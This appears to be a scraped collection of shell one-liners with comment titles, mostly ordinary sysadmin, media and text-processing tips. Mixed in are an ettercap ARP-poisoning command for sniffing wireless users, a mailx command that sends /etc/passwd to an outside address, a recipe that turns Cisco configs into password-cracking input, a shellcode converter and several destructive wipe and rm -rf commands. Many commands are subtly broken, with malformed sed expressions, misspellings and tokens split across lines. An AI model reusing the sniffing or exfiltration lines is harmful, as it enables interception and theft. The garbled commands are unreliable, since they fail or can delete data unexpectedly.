find . -type f -iname '*.msh' -exec ls -lG {} \; | awk '{total = total + $4}END{
print "scale=2;" total "/2^20"}' | bc

# Mount FileVault sparsebundle image manually (e.g.: from TimeMachine disk).
hdiutil mount -owners on -mountrandom /tmp -stdinpass /path/to/my.sparsebundle

# Check in current directory to SVN with commical/terrible commit message. (Plea
se don't actually run this command!)
svn ci -m "$(curl -s http://whatthecommit.com | sed -n '/<p>/,/<\/p>/p' | sed '$
d' | sed 's/<p>//')"

# Run query on remote database and output results as csv
mysql -u[user] -p[password] -h [hostname] -D [database] -ss -e "select * from my
sql_tbl " | sed 's/\\t/", "/g;s/^"/";s/$"/";s/\\n//g' > dump.csv

# Boot block devices as virtual devices in Virtual Box
VBoxManage internalcommands createrawvmdk -filename [path/to/file/name.vmdk] -ra
wdisk /dev/[block_device]

# Easily move around many directories
a() { alias $1=cd\ $PWD; }

# Resolve the "all display buffers are busy, please try later" error on a Foundr
Y
dm display-buffer reset

# Drag A Dashboard Widget Onto OS X Desktop
defaults write com.apple.dashboard devmode YES

# let a cow tell you your fortune
fortune | cowsay -f tux

# Get the latest ftp file from ftp server on local machine with lftp and bash. (
Piped commands inside lftp).
ftp-latest <<< "cd /; cls -1 | tail -1 | xargs -I% echo get % | /PATH/TO/ftp-lat
est"

# Search vmware vmx files if Linux guests are set to sync time to host

```

```

for x in `find /vmfs/volumes/ -name *vmx -exec grep -H linux.iso {} \; |cut -d
: -f 1`; do echo $x; grep -i sync $x; done;

# Comment out all lines in a file beginning with string
sed -i '/^somestring/ s/^#/' somefile.cfg

# Change Mac OS X Login Picture
defaults write /Library/Preferences/com.apple.loginwindow DesktopPicture "/System/Library/CoreServices/Finder.app/Contents/Resources/vortex.png"

# A better 'apt-cache' using Xapian to rank results
axi-cache search <searchterm>

# Combine DVD Studio Pro DDP layers back into a DVD disc image for testing
cat dvd_output/Layer0/IMAGE.DAT dvd_output/Layer1/IMAGE.DAT > dvd.iso

# Given $PID, print all child processes on stdout
ps axo pid,ppid | awk "{ if ( \$2 == $PID ) { print \$1 }}"

# Recursively touch all files and subdirectories
find . -exec touch {} \;

# Find lines of code (LOC) of a filetype in a project.
find . -type f -name "*.py" -exec wc -l {} \; | awk '{ SUM += $1} END {print SUM
}'

# Find all e-mails older than 7 days in the queue and delete them
find /var/spool/mqueue -type f -mtime +7 | perl -lne unlink

# Get length of array in zsh
$foo[(I)$foo[-1]]

# commit message generator - whatthecommit.com
curl -s http://whatthecommit.com | html2text | sed '$d'

# Find out which process uses an old lib and needs a restart after a system upda
te
sudo lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u

# Find all processes running under your username.
ps -ef | grep $USER

# How to know if your NIC receive link
watch ethtool eth0

# Finds all of the mailers being used in your rails app
egrep -r '(render_message|multipart).*('`find app/views -name '*.erb' | grep mai
ler | sed -e 's/\..*//' -e 's/.*\///' | uniq | xargs | sed 's/ /|/g`')' app/mod
els

# Talk to the doctor (Eliza-like)
emacs <ESC+x> doctor

# Commit current modified or added files in current svn repository
svn status | grep -v ? | awk '{print $2}' > file.svn.txt && svn ci --targets fil
e.svn.txt -m "[your commit message here]"

# Debian's apt-get License preferences selection
echo -e "package1 option1/question1 boolean true\npackage2 option2/question2 boo

```

```

lean true\n" > autoprefs; sudo debconf-set-selections < autoprefs; rm autoprefs

# Download all images from a 4chan thread
curl -s http://boards.4chan.org/wg/|sed -r 's/.*href="([\^"]*).*\/\1\n/g'|grep ima
ges|xargs wget

# edit list of files in last command
vi `!!`

# Add the sbin directories to your PATH if it doesn't already exist in ZSH.
path+=( /sbin /usr/sbin /usr/local/sbin ); path=( ${(u)path} );

# List files with full path
ls -d $PWD/*

# Convert .flv to .avi
ffmpeg -i file.flv file.avi

# Find the USERid of a SUDOed user
REALUSERID=`TTYTEST=$(ps | awk '{print $2}' |tail -1); ps -ef |grep "$TTYTEST$"
|awk '{print $1}`;echo $REALUSERID

# Simple file wipe
for F in `find ./ -type f`;do SIZE=`ls -s $F | awk -F" " '{print $1}`; dd if=/d
ev/urandom of=$F bs=1024 count=$SIZE;done

# Remove i386 RPM packages from x86_64 CentOS/RHEL
yum remove `rpm -qa --qf "%{n}.*{arch}\n"|grep i386`

# Batch rename files by their epoch last modified time.
for i in somefiles*.png ; do echo "$i" ; N=$(stat -c %Y $i); mv -i $i $N.png; do
ne

# use !$ to retrieve filename used with last command
vim !$

# backup mysql database
0 0 * * 0 /usr/bin/mysqldump -uroot -p'<password>' data_base_name > /home/bob/XY
Z_DB_BACKUP/$(date +%Y-%m-%d_%H%M).sql

# Cloack an IP range from some IPs via iptables
iptables -A FORWARD -i br0 -m iprange --src-range 192.168.0.x-192.168.0.y -m ipr
ange --dst-range 192.168.0.w-192.168.0.z -j DROP

# list all files in a directory, sorted in reverse order by modification time, u
se file descriptors.
ls -Fart

# displays comments from random jpeg files.
find ~/random_jpegs/folder -name "*.jpg" -exec rdjpgcom {} \;

# Remove leading zeros in multiple columns with sed
sed 's/\b(0*\)//g' filename

# Extract multiple file in a directory
for i in *.tar.gz; do tar -xzf $i; done

# put environment variable in history to edit
print -s "PATH='$PATH'"

```

```

# Transfer sqlite3 data to mysql
sqlite3 mydb.sqlite3 '.dump' | grep -vE '^(BEGIN|COMMIT|CREATE|DELETE)|"sqlite_s
equence"' | sed -r 's/"([\^"]+)"/'\1`/' | tee mydb.sql | mysql -p mydb

# Persistent saving of iptables rules
iptables-save > firewall.conf; rm -f /etc/network/if-up.d/iptables; echo '#!/bin
/sh' > /etc/network/if-up.d/iptables; echo "iptables-restore < firewall.conf" >>
/etc/network/if-up.d/iptables; chmod +x /etc/network/if-up.d/iptables

# Copy a file over SSH without SCP
cat LOCALFILE | ssh HOST "cat > REMOTEFILE"

# SoX recording audio and trimming silence
sox -t alsa default ./recording.flac silence 1 0.1 5% 1 1.0 5%

# Count the number of deleted files
find /path/folder -type f -name "*.*)" -print -exec rm -v {} + | wc -l;

# Quick aliases for going up a directory tree
alias ::= 'cd ../../'

# convert binary data to shellcode
hexdump -v -e '"\\""x" 1/1 "%02x" "' <bin_file>

# YouTube Convert and Download All User's Videos to MP3s on the fly
Command in description (Your command is too long - please keep it to less than 2
55 characters)

# Google dictionary of word definitions
wget -qO - "http://www.google.com/dictionary/json?callback=dict_api.callbacks.id
100&q=steering+wheel&sl=en&tl=en&restrict=pr,de&client=te" | sed 's/dict_api\ca
llbacks.id100.//' | sed 's/,200,null)//'

# gets the bare ip(s) of a domain
dig commandlinefu.com | sed -nr 's/^[^;].*?\s([.0-9]{7,15})$/\1/ p'

# When need to compress the Zope Database
python fsrecovery.py -P 0 -f <path-to-instance>/Data.fs <path-to-instance-destin
ation>/Data.fs.packed

# create an application launcher shortcut that allow only one process of it runn
ing
sh -c 'if pgrep x2vnc && env LC_ALL=C xmessage -button "Kill it:0,Ignore it:1" "
Another connection is already running. Should I kill it instead of ignoring it?"
; then killall x2vnc; fi; x2vnc -passwd /home/Ariel/.vnc/passwd -east emerson:0'

# Fixing broken packages in Debian systems
sudo dpkg --configure --pending

# Renames all files in the current directory such that the new file contains no
space characters.
for file in *; do mv -v "$file" "$(sed 's/ //g' <(echo $file))"; done

# simple perl global search and replace in files
perl -pi -e 's/localhost/replacementhost/g' *.php

# print code 3-up and syntax-highlighted for easy beach-time study
enscript -E -B -3 -r -s 0 --borders -fCourier4.8 --mark-wrapped-lines=arrow

```

```

# Shorten url using bit.ly API
curl -s --data-urlencode 'longUrl='$1 --data-urlencode 'login='$login --data-url
encode 'apiKey='$apikey 'http://api.bit.ly/shorten?version=2.0.1&format=xml' | x
mlstarlet sel -T -t -m "//shortUrl" -v "." | line

# Random cow tells your fortune
files=(/usr/share/cowsay/cows/*);cowsay -f `printf "%s\n" "${files[RANDOM % ${#f
iles}]}` `` `fortune`"

# VIM subst any char different from literal " + EOL with searched string + white
space
:%s/\([^"\]\\)\(\n\)/\1 /g

# X11vnc starting session command
x11vnc -rfbauth /etc/x11vnc.pass -o /tmp/x11vnc.log -forever -bg -noxdamage -rfb
port 5900 -avahi -display :0

# find multiple files in directory and perform search and replace on each of the
m
files=$(find /dir/file -name *.txt -exec grep -l a {} \;) && perl -p -i -e 's/ol
d/new/g;' $files

# Remove the last string character using rev and cut
echo "command lines" | rev | cut -c 2- | rev

# Replace strings in files
sed -i -e 's/war/peace/g' *

# Show a Package Version on Debian based distribution
dpkg-query -W -f='${Version}' package-name

# Insert text at the end of a root-privileged file
echo "text" | sudo tee -a /path/file.conf > /dev/null

# Colour part of your prompt red to indicate an error
export PS1='[\[\e[36;1m\]\u@[\e[32;1m\]\h \[\e[31;1m\]\w\# \[\e[0m\]'

# get eth0 ip address
ip -f inet addr |grep "global eth0$" |awk '{print $2}' |cut -d '/' -f 1

# Download a set of files that are numbered
for i in `seq -w 1 50`; do wget --continue \ http://commandline.org.uk/images/po
sts/animal/$i.jpg; done

# Command results as an image capture
netstat -rn | convert label:@- netstat.png

# Syslog System Reporting in a shell
tail -f --retry /var/log/syslog /var/log/auth.log | ccze -A

# Watch those evil Red Hat states code D Uninterruptible sleep (usually IO).
watch -n 1 "ps aux | sed -n 's/ D /&p'"

# List the size (in human readable form) of all sub folders from the current loc
ation
du --max-depth=1|sort -n|cut -f2|tr '\n' '\0'|xargs -0 du -sh 2>/dev/null

# List Big Files/Directories
du -h |grep -P "^\S*G"

```



```
# Grabs video from dv firewire camera and plays it on mplayer.
dvgrab - | mplayer -

# Using Git, stage all manually deleted files.
git add -u

# Find out actual full path of <file>
readlink -f <file>

# pick up 3 lines start at every 5th line of file.txt
sed -n '1~5{N;N;p}' file.txt

# List open TCP/UDP ports
netstat -anp --tcp --udp | grep LISTEN

# Attach all discovered iscsi nodes
iscsiadm -m node -l

# Analyze Apache Web Log Statistics starting on DATE x
sed -n '/05\|Dec\|2010/, $ p' access.log | goaccess -s -b

# Quickly create an alias for changing into the current directory
map() { if [ "$1" != "" ]; then alias $1="cd `pwd`"; fi }

# Print the latest stable version of Perl
curl -s http://www.perl.org/get.html | grep -m1 '\.tar\.gz' | sed 's/.*perl-//;
s/\.tar\.gz.*//'

# Mount an ISO image on Mac OS X
hdiutil mount sample.iso

# List open TCP/UDP ports
netstat -ltun

# View the newest xkcd comic.
curl -s 'xkcd.com' | awk -F\" '/^<img/{printf("<?xml version=\"1.0\"?>\n<xkcd>\n
<item>\n <title>%s</title>\n <comment>%s</comment>\n <image>%s</image>\n</item>\n
n</xkcd>\n", $6, $4, $2)}'

# Extract multiple tar files at once in zsh
tar -xi < *.tar

# Convert first letter of string to uppercase
string="${string^}"

# Timer with sound alarm
sleep 15m; yes > /dev/dsp

# Create a CD/DVD ISO image from disk.
cp /dev/cdrom file.iso

# repository search
aptitude search ~d "irc client"|grep -i "irc client"

# Diff with Sections/Headers
diff -U 9999 file_a file_b | tail -n +3 | grep -P "^(\\ Header|\\-|\\+)"

# convert unixtime to human-readable
echo "0t${currentEpoch}=Y" | /usr/bin/adb
```

```

# Run remote web page, but don't save the results
wget -q --spider http://server/cgi/script

# Duplicate a line in a text file and replace part of the duplicated line
sed -i -e '/foo/p' -e 's/foo/barfoo/' file

# Recursively scan directories for mp3s and pass them to mplayer
$ find . -iname *.mp3 | while read line ; do ln -s "$line" $(echo -e "$line" |
openssl md5).mp3 ; done ; mpg123 *.mp3

# List your interfaces and MAC addresses
ifconfig | awk '/HWaddr/ { print $1, $5 }'

# show each new entry in system messages as a popup
tail -n0 -f /var/log/messages | while read line; do notify-send "System Message"
"$line"; done

# pipe commands from a textfile to a telnet-server with netcat
nc $telnetserver 23 < $commandfile

# print scalar gmtime
perl -e "print scalar(gmtime(1247848584))"

# Find large files in current directory
alias big='BIG () { find . -size +${1}M -ls; }; BIG $1'

# View all new log messages in real time with color
find /var/log -iregex '.*[^\.]^[^0-9]+$' -not -iregex '.*gz$' 2> /dev/null | xarg
s tail -n0 -f | ccze -A

# command for converting wav files to mp3
find . -iname "*wav" > step1 ; sed -e 's/\(^.*\)wav/"\1wav\" \"\1mp3\"/' step1
> step2 ; sed -e 's/^\lame /' step2 > step3 ; chmod +x step3 ; ./step3

# List all rpms on system by name, version and release numbers, and architecture
rpm -qa --qf '%{name}-%{version}-%{release}.%{arch}\n'

# alias for etckeeper, to commit changes after moification of etc
function ec() { ec_var="`pwd`" && cd /etc/ && sudo bzip commit -m "$@" && cd $ec_
var; }

# get time in other timezones
let utime=$((offsetutc*3600+(date --utc +%s)+3600); date --utc --date=@${utime}

# Quick Full Screen RDP connection
alias rdp='rdesktop -u <user> -g 1600x1200 -D -r disk:home=/home -r clipboard:PR
IMARYCLIPBOARD'

# Convert HTML file into valid XML
tidy -asxhtml -numeric < index.html > index.xml

# Exit shell faster
^D

# Do a search-and-replace in a file after making a backup
for file in <filename>; do cp $file{,.bak} && sed 's/old/new/g' $file.bak > $fil
e; done

```

```

# Triangular Number
echo $(echo $(seq $MIN $MAX) | sed 's/ /+/g') | bc -l

# floating point operations in shell scripts
exp="(2+3.0)/7.0*2^2"; val=$(awk "BEGIN {print $exp}" /dev/null)

# Which machine have I logged in from?
TTY=$(tty | cut -c 6-);who | grep "$TTY " | awk '{print $6}' | tr -d '()'

# Find and remove files
find / -name core | xargs /bin/rm -f

# Find C/C++ source code comments
perl -ne 'print if m{\Q/*\E}x .. m{\Q*/\E}x or m{\\\/}x' *.c

# Sniff who are using wireless. Use wireshark to watch out.pcap :]
sudo ettercap -T -w out.pcap -i wlan0 -M ARP // //

# Tar Pipe
(cd src && tar -cf - .) | (cd dest && tar -xpf -)

# get time in other timezones
tzwatch

# Simple Comment an entire file
sed -i 's/^/#/' FILENAME

# Changing the terminal title to the last shell command
[[ "x$TERM" == "rxvt" || "x$XTERM_VERSION" == xXTerm* || "x$COLORTERM" == 'gnome-terminal' && "x$SHELL" == */bin/zsh ]] && preexec () { print -Pn "\e]0;$1\a" }

# Show a Package Version on Debian based distribution
aptitude -F '%p %v#' search <pattern>

# Send multiple attachments using mailx
(uencode foo.txt foo.txt; uencode /etc/passwd passwd.txt)|mailx -s "Pandaren!"
someone@cmdfu.com

# Get all links of a website
dog --links "http://www.domain.com"

# tar's and moves all contents of current directory to target dir
tar cf - . |(cd /targetdir; tar xvf -)

# remove comments from xml
cat <filename> | perl -e '$/ = ""; $_ = <>; s/<!--.*?-->//gs; print;'

# recursive grep of text files
grep -Ir foo *

# generate the moduli file for openssh if lost
ssh-keygen -G /tmp/moduli-2048.candidates -b 2048

# OSX Expand URL and Copy to Clipboard
function expand_url() { curl -sI $1 | grep Location: | cut -d " " -f 2 | tr -d
"\n" | pbcopy }

# (tcsh alias)Reverse an IPv4 address. It is useful to looking the address up in
DNSBL.

```

```

alias ip4rev "echo \!* | sed 's/^\([0-9]*\)\\.([0-9]*)\\.([0-9]*)\\.([0-9]*)/\4.\3.\2.\1/'"

# automatically add and remove files in subversion
svn st | grep '^?' | awk '{print $2}' | xargs svn add; svn st | grep '^!' | awk '{print $2}' | xargs svn rm

# what's running on a given port on your machine?
lsof -i -n -P | grep :80

# Manage "legacy" service run control links
sudo find /etc/rc{1..5}.d -name S99myservice -type l -exec sh -c 'NEWFN=`echo {} | sed 's/S99/K99/'` ; mv -v {} $NEWFN' \;

# generate random mac address
2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1|sed '2d;s/0000000 *//;s/ /:g;s/::*$//'

# List the CPU model name
grep 'model\|MHz' /proc/cpuinfo |tail -n 2

# Find the biggest files
find -type f | xargs -I{} du -sk "{}" | sort -rn | head

# Figure out what shell you're running
ps -o comm= -p $$

# Format a password file for John the Ripper from Cisco configs (Level 5)
sed -n 's/[ :]/_/g; s/^\(.{1,}\)\_5\_($1$[./0-9A-Za-z]{27,31}\)\_*$/\1:\2/p'
< cisco-device-config > passwd

# Enable Basic Security Mode (BSM) Auditing --Solaris
/etc/security/bsmconv

# cat ~/.ssh/id_rsa.pub | ssh user@site.com "cat - >> ~/.ssh/authorized_keys"
concatenate local RSA to remote machine's authorized_keys

# Start a vnc session on the currently running X session
x0vnc4server -display :0 -PasswordFile ~/.vnc/passwd

# get daily wizard of id comic
curl -o id.gif `date +http://d.yimg.com/a/p/uc/%Y%m%d/largeimagecrwiz%Y%m%d.gif`

# get the result of database query in vertical way (Column=Value)
vsqplus "SELECT * FROM TABLE_NAME;"

# Clear ARP table in linux.
for arptable in `arp | grep "eth1" | cut -d " " -f1`; do arp -d $arptable; done

# Find the biggest files
find -type f | xargs -I{} du -s "{}" | sort -rn | head | cut -f2 | xargs -I{} du -sh "{}"

# Using associative array to remove all files and directories under PWD except "
$1", "$2", "$3",..."$n"
rmall_but() { declare -A keep;for arg;do keep[${arg%/*}]=1;done;for file in *;do
[[ ${keep[$file]} ]] || rm -rf "$file";done; }

# Tree based ps view "painted" by ccze

```

```

alias cps="ps -u root U `whoami` --forest -o pid,stat,tty,user,command |ccze -m
ansi"

# Create etags file of .c, .cpp, and .h files in all subdirectories
find . -regex ".*\.[cChH]\(pp\)?" -print | etags -

# Download entire commandlinefu archive to single file
for x in `jot - 0 \ `curl "http://www.commandlinefu.com/commands/browse"|grep "Te
rminal - All commands" |perl -pe 's/./+(\d+),(\d+).+/$1$2/'|head -n1\` 25`; do cu
rl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; d
one >a.txt

# orderly shutdown system and reboot.
shutdown -r now

# Watch netstat output every 2 seconds
watch -n 2 netstat -antu

# Validating a file with checksum
[ "c84fa6b830e38ee8a551df61172d53d7" = "$(md5sum myfile | cut -d' ' -f1)" ] && e
cho OK || echo FAIL

# floating point operations in shell scripts
wcalc -q <<< '3/5'

# Look up a unicode character by name
grep -i "$*" /usr/lib/perl5/Unicode/CharName.pm | while read a b; do /usr/bin/pr
intf "\u$a\tU+%s\t%s\n" "$b"; done

# For setting of double keyboard layouts: us, ru, but you can write in phonetic
like www.translit.ru
setxkbmap -layout us,ru -variant basic,phonetic -option -option grp:switch,grp:c
aps_toggle

# Create a folder but first you can test if it exists
test -d folder || mkdir folder

# Combining video file part downloaded separately using cat command
cat video.avi.001 video.avi.002 video.avi.003 >> video.avi

# create a colorful image
c=blue;convert -size 50x50 xc:$c $c.png; for i in red green yellow; do convert $
c.png -background $i -rotate 20 $i.png; rm $c".png"; c=$i; done; mv $i".png" log
o.png; display logo.png

# Using Git, stage all manually deleted files.
for x in `git status | grep deleted | awk '{print $3}'`; do git rm $x; done

# Change date from MM/DD/YYYY to YYYY-MM-DD (mysql like)
date -d 09/20/1981 +"%Y-%m-%d"

# bash chop
alias chop="tr -d '\r\n'"

# Diff with colour highlighting
svn diff ARGUMENTS_FOR_DIFF | source-highlight --out-format=esc --src-lang=diff

# ffmpeg vhook imlib2.so
ffmpeg -i input.flv -vhook '/usr/lib/vhook/imlib2.so -c white -x 250 -y H+(-1.8*
N+80) -t Hallo! -A max(0,255-exp(N/16))' -sameq -acodec copy output.flv

```

```

# Make ABBA better (requires firefox)
wget -O - -q http://www.azlyrics.com/lyrics/abba/takeachanceonme.html | sed -e '
s/[cC]hance/dump/g' > ~/tdom.htm && firefox ~/tdom.htm

# Mirror every lvlol in vg00 in hp-ux 11.31
for i in $(vgdisplay -v vg00 | grep "LV Name" | awk '{ print $3 };'); do; lve
xtend -m 1 $i /dev/disk/<here-goes-the-disk>; done

# Parse bookmarks and download youtube files
sed 's+href="\([^"]*\)"+"+\n\1\n+g' bookmarks.html | grep '^http' | clive

# Define dettaching commands in bashrc
__disown(){ local cmd=$1 ; shift ; $cmd "$@" &> /dev/null &disown }; for i in gv
im ; do alias $i="__disown $i"; done

# find out which TCP ports are listening and opened by which process in verbose
netstat -tlvp

# Generat a Random MAC address
MAC=$(date +%Y%m%d%H%M%S%N'; cat /proc/interrupts) | md5sum | sed -r 's/(..)/\
1:/g' | cut -d: -f 1-6)

# Copy a file over the network with 3 bounces
cat file.orig | ssh user1@host1 "ssh user2@host2 \"ssh user3@server3 'cat >file.
dest'\\""

# Bashbuiltin printf
cat file.txt | while read line; do printf "%7.2f -> %7.2f\n" $line; done

# Return IP Address
ifconfig -a | awk 'BEGIN{FS="[ :]+"} /Bcast/{print $4}'

# Get the state (HTTP code) of a resource from its URL
curl -s -L --head -w "%{http_code}\n" URL | tail -n1

# Converts all jpg files to 75 quality.
find . -type f -name '*.jpg' -exec convert -quality 75 {} {} \;

# git merge --dry-run
git merge --no-commit --no-ff

# Extract the daily average number of iops
for x in `seq -w 1 30`; do sar -b -f /var/log/sa/sa$x | gawk '/Average/ {print $
2}'; done

# Display a block of text with vim with offset, like with AWK
vim -e -s -c 'g/start_pattern/+1,/stop_pattern/-1 p' -cq file.txt

# list all instances of a file in your PATH directories (without duplicates) in
PATH order
function wherepath () { for DIR in `echo $PATH | tr ":" "\n" | awk '!x[$0]++ {pr
int $0}'`; do ls ${DIR}/${1} 2>/dev/null; done }

# show top 10 most memory hungry process with a simple format of (%mem, pid, sh
ort command)
ps -eo pmem,pid,comm --no-headers | sort -k1 -rn | head -10

# How many lines does the passwd file have?

```

```

cat /etc/passwd | wc -l

# copy root to new device
rsync -aHux --exclude=/proc/* --exclude=/sys/* /* /mnt/target/

# git branch point
git merge-base branch1 branch2

# Show hidden files in OS X
defaults write com.apple.Finder AppleShowAllFiles TRUE

# do a release upgrade in ubuntu
do-release-upgrade

# calculate in commandline with bc
echo "1+1" | bc

# Clear iptables rules safely
function clearIptables(){iptables -P INPUT ACCEPT; iptables -P FORWARD ACCEPT; i
ptables -P OUTPUT ACCEPT; iptables -F; iptables -X; iptables -L}

# Short URLs with url.ca
url() { curl -s --url http://url.ca/ -d longurl="$1" | sed -n -e '/Your url/!d;s
/.*<a href="\(.*\)">.*$/\1/p' ; }

# One liner to parse all epubs in a directory and use the calibre ebook-convert
utility to convert them to mobi format
for filename in *.epub;do ebook-convert "$filename" "${filename%.epub}.mobi" --p
refer-author-sort --output-profile=kindle --linearize-tables --smarten-punctuati
on --extra-css="/yourdir/calibre.css" --asciize --enable-heuristics;done

# Print repeating CSV values on new lines - normalize repeating fields
echo "LINUX,DIR,FILE1,FILE2,FILE3" | perl -aF, -nle 'my ($fld1, $fld2, @fields)
= @F; while(@fields) { print join ",", $fld1, $fld2, splice(@fields, 0, 1) }'

# For files owned by root only, change ownership to a non-privileged user.
find /path/to/dir -user root -exec chown [nonprivuser] {} \;

# List only locally modified files with CVS
cvs -n update 2>null | grep -i "M " | sed s/"M "//

# Make sure a script is run in a terminal.
tty > /dev/null 2>&1 || { aplay error.wav ; exit 1 ;}

# calculate in commandline with dc
dc -e "1 1 + p"

# Deal with dot files safely
rm -rf .??*

# Recursive script to find all epubs in the current dir and subs, then convert t
o mobi using calibre's ebook-convert utility
find $PWD -type d | while read "D"; do cd "$D"; for filename in *.epub;do ebook-
convert "$filename" "${filename%.epub}.mobi" --prefer-author-sort --output-profi
le=kindle --linearize-tables --smarten-punctuation --asciize;done ;done

# Regex or
egrep expr1\|expr2 file

```

```

# Print a bar graph
SCALE=3; WIDTHL=10; WIDTHR=60; BAR="12345678"; BAR="{BAR//?/=====}"; while
  read LEFT RIGHT rest ; do RIGHT=$((RIGHT/SCALE)); printf "%${WIDTHL}s: %-${WIDT
HR}s\n" "${LEFT:0:$WIDTHL}" "|${BAR:0:$RIGHT}*" ; done < dataset.dat

# Turn /path/to/dir and subdirectories into a project tree
chgrp -R [projgroup] ; find /path/to/dir -type d -exec chmod g+s {} \;

# alias to show my own configured ip
alias showip="ifconfig eth0 | grep 'inet addr:' | sed 's/.*addr\:\(.*\) Bcast\:.
*\1/'"

# Send Reminders from your Linux Server to Growl on a Mac
remind -z1 -k'echo %s |ssh <user>@<host> "growlnotify"' ~/.reminders &

# Change your swappiness Ratio under linux
echo 50 > /proc/sys/vm/swappiness

# Deal with dot files safely
rm -rf .[!~]*

# Delete all ".svn" directories from current path (recursive)
find . -name ".svn" -exec rm -rf {} \;

# opening your helper script without knowing the path (zsh)
less =rcsyslog

# Copy the directory you want to specify a comma separated list of directories t
o copy.
cp -arv ~/Documents/{foo,bar} --target-directory=~ /buzz/

# Create & transfer tarball over ssh
ssh -c 'tar cvzf - -C /path/to/src/*' | tar xzf -

# Copy file content to X clipboard
!xclip -i %

# Stop Grooveshark destroying your CPU
sudo cpulimit -e Grooveshark -l 20

# type fortune in real time
fortune | pv -qL 10

# Get disk quota usage openvz using vzlist
vzlist -a -H -o hostname,diskspace,diskspace.s,veid | awk '{ printf( "%2.f%\t%s
\t%s\n"), $2*100/$3, $4, $1}' | sort -r

# sort a csv file according to a particular n th field numerically (quicker tha
n excel)
sort -t"," -n -k5 file.csv # according to the 5th field NUMERICALLY!!

# monitor the last command run
$ history

# add border to image
convert input.png -mattecolor gold -frame 10x10+5+5 output.png

# How to Find the Block Size
/sbin/dumpe2fs /dev/hda2 | grep 'Block size'

```



```

# scp a good script from host A which has no public access to host C, but with a
  hop by host B
ssh middlehost "ssh -a root@securehost '> nicescript'" < nicescript

# Router discovery
awk 'NR==2 {print $1}' /proc/net/arp

# showing opened ports on machine
netstat -tulpcn

# SVN Status log to CSV (Mac OSX friendly)
svn log | tr -d '\n' | sed -E 's/-{2,}/\ '$'\n/g' | sed -E 's/ \([^\\]+\\)//g' | s
ed -E 's/^r//' | sed -E "s/[0-9]+ lines?//g" | sort -g

# remove border of image
convert input.png -shave 10x10 output.png

# pacman install list of packages
pacman -Q | grep -v pacman | cut -d' ' -f1 > packages.txt && pacman -Sy `cat pac
kages.txt` --noconfirm

# teatimer
sleep 3m; play bigben.wav

# Sum of the total resident memory Stainless.app is using.
ps -ec -o command,rss | grep Stainless | awk -F ' ' '{ x = x + $2 } END { print
x/(1024) " MB."}'

# Get the title of a youtube video
youtitle(){ GET $1 | grep document.title | sed "s;^.*document.title = '\\(.*)'.*
$;\1;"; };

# Watch and keep history of a command
CMD="who";SEC=1;N=0;OLD="";NEW=""; while `sleep $SEC`; do OLD="$NEW"; NEW="$ (eva
l $CMD)"; DIFF=`diff <( echo "$OLD" ) <( echo "$NEW" )`; if [ -n "$DIFF" ]; then
date; echo "Diff #N ($ {SEC}s): $CMD"; echo "$DIFF"; fi; N=$((N+1)); done | tee
/tmp/keepr

# create a image matrix
montage *.png -mode concatenate -tile 10x all.png

# anti-spam
date -u +%W$(uname)|sha256sum|sed 's/\W//g'

# Disable Mac OS X Dashboard
defaults write com.apple.dashboard mcx-disabled -boolean YES; killall Dock

# Run gunzipped sql file in PostGRES, adding to the library since I couldnt find
  this command anywhere else on the web.
gzip -dc /tmp/pavanlimo.gz | psql -U user db

# Return IP Address
perl -e '$_=`ifconfig eth0`;/\d+\.\d+\.\d+\.\d+ /; print $&,"\n";'

# print the first line of every file which is newer than a certain date and in t
  he current directory
find . -type f -newer 201011151300.txt -exec head -1 {} \;

# md5 checksum check

```

```

digest -a -v md5 <file-name>

# Python virtual-env creation
$sudo aptitude install python-virtualenv; virtualenv --no-site-packages jpaenv;
source jpaenv/bin/activate

# Edit any script executable by the user.
nano `which script`

# Determine what process is listening on a port on Solaris, without lsof
for x in `ptree | awk '{print $1}'`; do pfiles $x | grep ${PORT} > /dev/null 2>&
1; if [ x"$?" == "x0" ]; then ps -ef | grep $x | grep -v grep; fi; done 2> /dev/
null

# resolve hostname to IP our vice versa with less output
hostresult=$(host -t A www.example.com); echo "${hostresult##* }"

# Populate a folder with symbolic links to files listed in an m3u playlist.
(IFS=$'\n'; ln -sf $(awk '((NR % 2) != 0 && NR > 1) {print "prefix" $0}' list.m3
u) target_folder)

# Set date and time
sudo date -s "26 OCT 2008 19:30:00"

# Get last changed revision to all eclipse projects in a SVN working copy
find . -iname ".project"| xargs -I {} dirname {} | LC_ALL=C xargs -I {} svn info
{} | grep "Last Changed Rev\|Path" | sed "s/Last Changed Rev: /;/" | sed "s/Pat
h: //" | sed '$!N;s/\n//'

# run complex remote shell cmds over ssh, without escaping quotes
perl -e 'system @ARGV, <STDIN>' ssh host -l user < cmd.txt

# Rename files in a directory in an edited list fashion
exec 3<&0; ls -lN | while read a; do echo "Rename file: $a"; read -e -i "$a" -p
"To: " b <&3 ; [ "$a" == "$b" ] || mv -vi "$a" "$b"; done

# Recursive script to find all epub's in the current dir and subs, then convert t
o mobi using calibre's ebook-convert utility
find . -name '*.epub' -exec sh -c 'a={}; ebook-convert $a ${a%.epub}.mobi --stil
l --more --options' \;

# Generate an XKCD #936 style 4 word password
echo $(grep "^[^']\{3,5\}$" /usr/share/dict/words|shuf -n4)

# (Inside of a shell script) Make executable a BeanShell script under Linux/Cygw
in
///bin/true; exec java bsh.Interpreter "$0" "$@"

# catch all the txt files into a start_dir tree and copy them into a single end_
dir
find start_dir -name *.txt | xargs -J % cp % end_dir/

# Picture Renamer
ls -l *.jpg | while read fn; do export pa=`exiv2 "$fn" | grep timestamp | awk '{
print $4 " " $5 ".jpg"}' | tr ":" "-"; mv "$fn" "$pa"; done

# Disable bluetooth on your laptop to save battery
rfkill block bluetooth

```

```

# print line and execute it in BASH
set -x

# Reading my nic's mac address
ifconfig eth3|sed 's/^eth3.*HWaddr //;q'

# Quick and dirty version control for one file
v () { ( IFS=$'\n'; suf="_versions"; mkdir -p "$1$suf"; nr=`ls "$1$suf" | wc -l`
; nr=`printf "%02d" (($nr + 1))`; cp "$1" "$1$suf/v${nr}_${1}" ) }

# grayscale image
convert input.png -colorspace Gray output.png

# Generate a specification file for file integrity scanning.
mtree -c -K sha256digest -X mtree.exclude -p /path > host.mtree

# covert m4a audio files to wav
find . -name '*.m4a' | xargs -I audiofile mplayer -ao pcm "audiofile" -ao pcm:file="audiofile.wav"

# Extract XML from an otherwise plain text log file
sed -n '/<Tag>/,/<\Tag>/p' logfile.log

# turn lines in columns in csv format
ls | sed -n '1h;2,$H;${g;s/\n/,/g;p}'

